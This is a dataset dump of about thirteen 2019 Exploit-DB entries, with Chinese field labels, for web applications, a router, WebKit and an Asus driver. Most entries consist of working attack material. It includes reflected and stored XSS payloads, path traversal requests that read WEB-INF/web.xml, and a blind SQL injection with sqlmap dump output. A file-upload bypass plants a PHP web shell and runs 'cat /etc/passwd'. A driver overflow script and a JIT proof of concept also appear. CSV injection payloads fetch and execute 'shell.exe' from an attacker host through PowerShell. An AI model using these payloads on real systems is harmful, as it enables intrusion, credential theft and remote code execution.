QLWD/code_shield huggingface dataset:
标题: Craft CMS 2.7.9/3.2.5 - Information Disclosure EDB-ID: 47343 CVE: 2019-14280 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-02 漏洞利用脚本: # Exploit Title : CraftCms Users information disclosure From uploaded File
# Author [Discovered By] : Mohammed Abdul Raheem
# Author's [Company Name] : TrekShield IT Solution
# Author [Exploit-db] : https://www.exploit-db.com/?author=9783
# Found Vulnerability On : 20-07-2019
# Vendor Homepage:https://craftcms.com/
# Software Information Link: https://github.com/craftcms/demo
# Software Affected Versions : CraftCms v2 before 2.7.10 and CraftCmsv3 before 3.2.6
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : Sensitive information disclosure
# CVE : CVE-2019-14280
####################################################################

# Description about Software :
***************************
Craft is a flexible, user-friendly CMS for creating custom digital
experiences on the web and beyond.

####################################################################

# Vulnerability Description :
*****************************

When a user uploads an image in CraftCMS, the uploaded image's EXIF
Geolocation Data does not gets stripped. As a result, anyone can get
sensitive information of CraftCMS's users like their Geolocation,
their Device information like Device Name, Version, Software &
Software version used etc.

# Impact :
***********

This vulnerability is CRITICAL and impacts all the craft's customer
base. This vulnerability violates the privacy of a User and shares
sensitive information of the user who uploads an image on CraftCMS.

# Steps To Validate :
*********************

1. Login to CraftCMS account.
2. Go to endpoint https://demo.craftcms.com/<token>/s/admin/assets
3. Upload an image which has EXIF Geolocation Data in it.
4. Once the image is uploaded by CraftCMS and hosted on the server,
download the image file and check the File Properties. You can also
use a tool like to view user's information: https://www.pic2map.com

# ATTACHED POC :
****************

https://youtu.be/s-fTdu8R3bU

# More Information Can be find here :
*************************************

https://github.com/craftcms/cms/blob/develop/CHANGELOG-v3.md#326---2019-07-23

###################################################################

# Discovered By Mohammed Abdul Raheem from TrekShield.com URL: https://www.exploit-db.com/exploits/47343
标题: DASAN Zhone ZNID GPON 2426A EU - Multiple Cross-Site Scripting EDB-ID: 47351 CVE: 2019-10677 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-09-04 漏洞利用脚本: Multiple Cross-Site Scripting (XSS) in the web interface of DASAN Zhone ZNID GPON 2426A EU version S3.1.285 application allows a remote attacker to execute arbitrary JavaScript via manipulation of an unsanitized GET parameters.

# Exploit Title: Multiple Cross-Site Scripting (XSS) in DASAN Zhone ZNID GPON 2426A EU

# Date: 31.03.2019

# Exploit Author: Adam Ziaja https://adamziaja.com https://redteam.pl

# Vendor Homepage: https://dasanzhone.com

# Version: <= S3.1.285

# Alternate Version: <= S3.0.738

# Tested on: version S3.1.285 (alternate version S3.0.738)

# CVE : CVE-2019-10677


= Reflected Cross-Site Scripting (XSS) =

http://192.168.1.1/zhndnsdisplay.cmd?fileKey=&name=%3Cscript%3Ealert(1)%3C/script%3E&interface=eth0.v1685.ppp


= Stored Cross-Site Scripting (XSS) =

* WiFi network plaintext password

http://192.168.1.1/wlsecrefresh.wl?wl_wsc_reg=%27;alert(wpaPskKey);//

http://192.168.1.1/wlsecrefresh.wl?wlWscCfgMethod=';alert(wpaPskKey);//

* CSRF token

http://192.168.1.1/wlsecrefresh.wl?wlWscCfgMethod=';alert(sessionKey);//


= Clickjacking =

<html><body><iframe src="http://192.168.1.1/resetrouter.html"></iframe></body></html> URL: https://www.exploit-db.com/exploits/47351
标题: Alkacon OpenCMS 10.5.x - Cross-Site Scripting EDB-ID: 47338 CVE: 2019-13235 2019-13234 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-09-02 漏洞利用脚本: # Exploit Title: Alkacon OpenCMS 10.5.x - Multiple XSS in Apollo Template
# Google Dork: N/A
# Date: 18/07/2019
# Exploit Author: Aetsu
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/apollo-template
# Version: 10.5.x
# Tested on: 10.5.5 / 10.5.4
# CVE : CVE-2019-13234, CVE-2019-13235

1. Reflected XSS in the search engine:
- Affected resource -> "q"
POC:
```
https://example.com/apollo-demo/search/index.html?facet_category_exact_ignoremax&q=demo%20examplez4e62%22%3e%3cscript%3ealert(1)%3c%2fscript%3ewhhpg&facet_type_ignoremax&facet_search.subsite_exact_ignoremax&reloaded&facet_query_query_ignoremax&
```
2. Reflected XSS in login form:
POC:
The vulnerability appears when the header X-Forwarded-For is used as shown
in the next request:
```
GET
/login/index.html?requestedResource=&name=Editor&password=editor&action=login
HTTP/1.1
Host: example.com
X-Forwarded-For: .<img src=. onerror=alert('XSS')>.test.ninja
```


Extended POCs: https://aetsu.github.io/OpenCms URL: https://www.exploit-db.com/exploits/47338
标题: WordPress Plugin WooCommerce Product Feed 2.2.18 - Cross-Site Scripting EDB-ID: 47327 CVE: 2019-1010124 类型: WEBAPPS 平台: PHP 发布日期: 2019-08-30 漏洞利用脚本: # Exploit Title: WordPress Plugin WooCommerce Product Feed <= 2.2.18 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://wordpress.org/plugins/webappick-product-feed-for-woocommerce/
# Version: <= 2.2.18
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-1010124

The WordPress plugin 'WooCommerce Product Feed' does not correctly sanitize user-input,
which leads to Cross-Site Scripting in the Admin Panel.

Since it is WordPress, it's fairly easy to get RCE with this XSS, by editing the theme
files via (for example) XHR requests with included Javascript.

Proof-of-Concept:

    https://domain.tld/wp-admin/admin.php?page=woo_feed_manage_feed&link=%3E%3Cscript%3Ealert`zerodays.lol`;%3C/script%3E URL: https://www.exploit-db.com/exploits/47327
标题: Opencart 3.x - Cross-Site Scripting EDB-ID: 47331 CVE: 2019-15081 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-02 漏洞利用脚本: # Exploit Title: Opencart 3.x.x Authenticated Stored XSS
# Date: 08/15/2019
# Exploit Author: Nipun Somani
# Author Web: http://thehackerstore.net
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://github.com/opencart/opencart
# Version: 3.x.x
# Tested on: Debian 9, Windows 10 x64
# CVE : CVE-2019-15081


Description:
The Opencart Version 3.x.x allows editing Source/HTML of the Categories /
Product / Information pages in the admin panel which isn't sanitized to
user input allowing for an attacker to execute arbitrary javascript code
leading to Stored Cross-Site-Scripting(XSS).

Proof-of-Concept(POC):

1. Log-in to admin-panel.
2. Navigate to Catlog and then select any of [Categories or Products or Information] options and and pick any entry or create one.
3. Under description click on Source option and insert your XSS payload.
i.e: "><script>alert("XSS")</script>
4. Now visit the modified page of your public website. And your injected XSS payload will execute. URL: https://www.exploit-db.com/exploits/47331
标题: DomainMod 4.13 - Cross-Site Scripting EDB-ID: 47325 CVE: 2019-15811 类型: WEBAPPS 平台: PHP 发布日期: 2019-08-30 漏洞利用脚本: # Exploit Title: DomainMod <= 4.13 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://domainmod.org/
# Version: <= 4.13
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-15811

The software 'DomainMOD' is vulnerable for Cross-Site Scripting in the
file '/reporting/domains/cost-by-month.php' in the parameter 'daterange'.

As of today (30 August 2019) this issue is unfixed.

Almost all other files that use the parameter 'daterange' are vulnerable.
See: https://github.com/domainmod/domainmod/tree/master/reporting/domains

Proof-of-Concept:

    https://domain.tld/reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(1)%22autofocus=%22 URL: https://www.exploit-db.com/exploits/47325
标题: Alkacon OpenCMS 10.5.x - Local File inclusion EDB-ID: 47340 CVE: 2019-13237 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-09-02 漏洞利用脚本: # Exploit Title: Alkacon OpenCMS 10.5.x - Multiple LFI in Alkacon OpenCms
Site Management
# Google Dork: N/A
# Date: 18/07/2019
# Exploit Author: Aetsu
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: 10.5.x
# Tested on: 10.5.5 / 10.5.4
# CVE : CVE-2019-13237

For the tests, I used the payloads:
```
…%2f…%2fWEB-INF%2flogs%2fopencms.log
…%2f…%2fWEB-INF%2fweb.xml
```

1. Affected resource closelink:
POC:
```
POST /system/workplace/admin/workplace/loginmessage.jsp HTTP/1.1
Host: example.com
enabled.0=true&enabled.0.value=true&message.0=%3Cimg+src%3D.+onerror%3Dalert%281%29%3E%0D%0A&loginForbidden.0.value=false&timeStart.0=1%2F3%2F2000+12%3A00+AM&ok=Ok&elementname=undefined&path=%252Fworkplace%252Floginmessage&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename=
```
2. Affected resource closelink:
POC:
```
POST /system/workplace/admin/contenttools/reports/xmlcontentrepair.jsp
HTTP/1.1
Host: example.com
reporttype=extended&reportcontinuekey=&thread=dcbb6737-661b-11e9-a9fc-0242ac11002b&threadhasnext=false&action=reportend&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&ok=Ok
```
3. Affected resource closelink:
POC:
```
POST /system/workplace/admin/accounts/group_new.jsp HTTP/1.1
Host: example.com
name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Description%27%29%3E&assignedOu.0=root+organizational+unit+%28%2F%29&enabled.0=true&enabled.0.value=true&ok=Ok&oufqn=&elementname=undefined&path=%252Faccounts%252Forgunit%252Fgroups%252Fnew&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename=
```
4. Affected resource closelink:
POC:
```
POST /system/workplace/admin/history/settings/index.jsp HTTP/1.1
Host: example.com
versions.0=10&mode.0=2&ok=OK&elementname=undefined&path=%252Fhistory%252Fsettings&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename=
```
5. Affected resource closelink:
POC:
```
POST /system/workplace/admin/history/reports/clearhistory.jsp HTTP/1.1
Host: example.com
reporttype=extended&reportcontinuekey=&thread=ac0bbd5f-66cd-11e9-ae09-0242ac11002b&classname=org.opencms.workplace.tools.history.CmsHistoryClearDialog&threadhasnext=false&action=reportend&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&ok=OK
```


Extended POCs: https://aetsu.github.io/OpenCms URL: https://www.exploit-db.com/exploits/47340
标题: SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection EDB-ID: 47310 CVE: 2019-9083 类型: WEBAPPS 平台: PHP 发布日期: 2019-08-28 漏洞利用脚本: <!--
# Exploit Title: Blind SQL injection in SQLiteManager 1.2.0 (and 1.2.4)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.sqlitemanager.org/
# Software Link: http://www.sqlitemanager.org/
# Version: SQLiteManager 1.2.0 (and 1.2.4)
# Tested on: All
# CVE : CVE-2019-9083
# Category: webapps


1. Description

SQLiteManager 1.20 allows SQL injection via the /sqlitemanager/main.php
dbsel parameter. NOTE: This product is discontinued.


2. Proof of Concept

Detect:
http://localhost/sqlitemanager/main.php?dbsel=-1%20or%2072%20=%2072
http://localhost/sqlitemanager/main.php?dbsel=-1%20or%2072%20=%2070

Save the next post in a file: sqli.txt

POST /sqlite/main.php?dbsel=-1%20or%2032%20%3d%2030 HTTP/1.1
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=s5uogfet0s4nhr81ihgmg5l4v3;
SQLiteManager_currentTheme=default; SQLiteManager_currentLangue=8;
SQLiteManager_fullText=0; SQLiteManager_HTMLon=0
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)

action=save&ColumnList=1&ConditionList=1&trigger=&TriggerAction=FOR%20EACH%20ROW&TriggerCondition=WHEN&TriggerEvent=DELETE&TriggerMoment=BEFORE&TriggerName=kqluvanc&TriggerOn=t1&TriggerStep=1

$ python sqlmap.py -r sqli.txt -p dbsel --level 5 --risk 3 --dump-all

[11:58:27] [INFO] resuming back-end DBMS 'sqlite'
[11:58:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: dbsel (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: dbsel=-4019 OR 7689=7689
---
[11:58:27] [INFO] the back-end DBMS is SQLite
web server operating system: Windows
web application technology: PHP X.X.X, Apache 2.X.X
back-end DBMS: SQLite
[11:58:27] [INFO] sqlmap will dump entries of all tables from all databases
now
[11:58:27] [INFO] fetching tables for database: 'SQLite_masterdb'
[11:58:27] [INFO] fetching number of tables for database 'SQLite_masterdb'
[11:58:27] [WARNING] reflective value(s) found and filtering out
[11:58:27] [WARNING] running in a single-thread mode. Please consider usage
of o
ption '--threads' for faster data retrieval
[11:58:27] [INFO] retrieved: 5
[11:58:27] [INFO] retrieved: database
[11:58:28] [INFO] retrieved: user_function
[11:58:30] [INFO] retrieved: attachment
[11:58:31] [INFO] retrieved: groupes
[11:58:32] [INFO] retrieved: users
.....
.....
.....


3. Solution:

The product is discontinued. Update to last version.
--> URL: https://www.exploit-db.com/exploits/47310
标题: Sentrifugo 3.2 - File Upload Restriction Bypass EDB-ID: 47323 CVE: 2019-15813 类型: WEBAPPS 平台: PHP 发布日期: 2019-08-30 漏洞利用脚本: # Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass 
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15813

Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.

File upload bypass locations:

/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)


# POC

1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
2. Turn Burp Intercept On
3. Select webshell with valid extension - ex: shell.php.doc
4. Alter request in the upload...
   Update 'filename' to desired extension. ex: shell.php
   Change content type to 'application/x-httpd-php'

Example exploitation request:

====================================================================================================

POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
Host: 10.42.1.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Length: 494
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
Connection: close

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php

<?php $cmd=$_GET['cmd']; system($cmd);?>

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507--

====================================================================================================

5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
6. Append above saved parameter and visit your new webshell
   Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd URL: https://www.exploit-db.com/exploits/47323
标题: Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform EDB-ID: 47316 CVE: 2019-8689 类型: DOS 平台: MULTIPLE 发布日期: 2019-08-29 漏洞利用脚本: https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234 URL: https://www.exploit-db.com/exploits/47316
标题: Asus Precision TouchPad 11.0.0.25 - Denial of Service EDB-ID: 47322 CVE: 2019-10709 类型: DOS 平台: WINDOWS 发布日期: 2019-08-30 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc
# Date: 29-08-2019
# Exploit Author: Athanasios Tserpelis of Telspace Systems
# Vendor Homepage: https://www.asus.com
# Version: 11.0.0.25
# Software Link : https://www.asus.com
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows 10 RS5 x64
# CVE: CVE-2019-10709

from ctypes import * 
kernel32 = windll.kernel32 
ntdll = windll.ntdll 
NULL = 0 
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None) 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0) 

buf = "A"*12048 
raw_input("Press Enter to Trigger Vuln") 
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL) URL: https://www.exploit-db.com/exploits/47322
标题: WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection EDB-ID: 47303 CVE: 2019-15092 类型: WEBAPPS 平台: PHP 发布日期: 2019-08-26 漏洞利用脚本: # Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Contact: @jjavierolmedo
# Website: https://sidertia.com
# Date: 2018-08-22
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
# Vendor: WebToffee
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
# Affected Version: 1.3.1 and before
# Active installations: +20,000
# Patched Version: update to 1.3.2 version
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# CVE: 2019-15092
# References:
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787
 
# 1. Technical Description
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
# as part of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.

# 2. Vulnerable code
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.
 
# 3. Proof Of Concept (PoC)
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
# 3.2 Login with a high privileges user and export all users to CSV.
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the shell will run open on the machine.

# 4. Payloads
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

# 5. Timeline
# 15, august 2019 - [RESEARCHER] Discover
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
# 16, august 2019 - [DEVELOPER] More information request
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
# 22, august 2019 - [RESEARCHER] Public disclosure URL: https://www.exploit-db.com/exploits/47303
标题: LSoft ListServ < 16.5-2018a - Cross-Site Scripting EDB-ID: 47302 CVE: 2019-15501 类型: WEBAPPS 平台: WINDOWS 发布日期: 2019-08-26 漏洞利用脚本: # Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS)
# Google Dork: intitle:LISTSERV 16.5
# Date: 08-21-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: http://www.lsoft.com/
# Softwae Link: http://www.lsoft.com/products/listserv.asp
# Version: Older than Ver 16.5-2018a
# Tested on: IIS 8.5/10.0 - Firefox/Windows
# CVE : CVE-2019-15501

# Software description:
The term Listserv has been used to refer to electronic mailing list software applications in general, 
but is more properly applied to a few early instances of such software, which allows a sender to send one 
email to the list, and then transparently sends it on to the addresses of the subscribers to the list. 

# POC

1.  http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD>
2. http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')>

# References:
1. http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501 URL: https://www.exploit-db.com/exploits/47302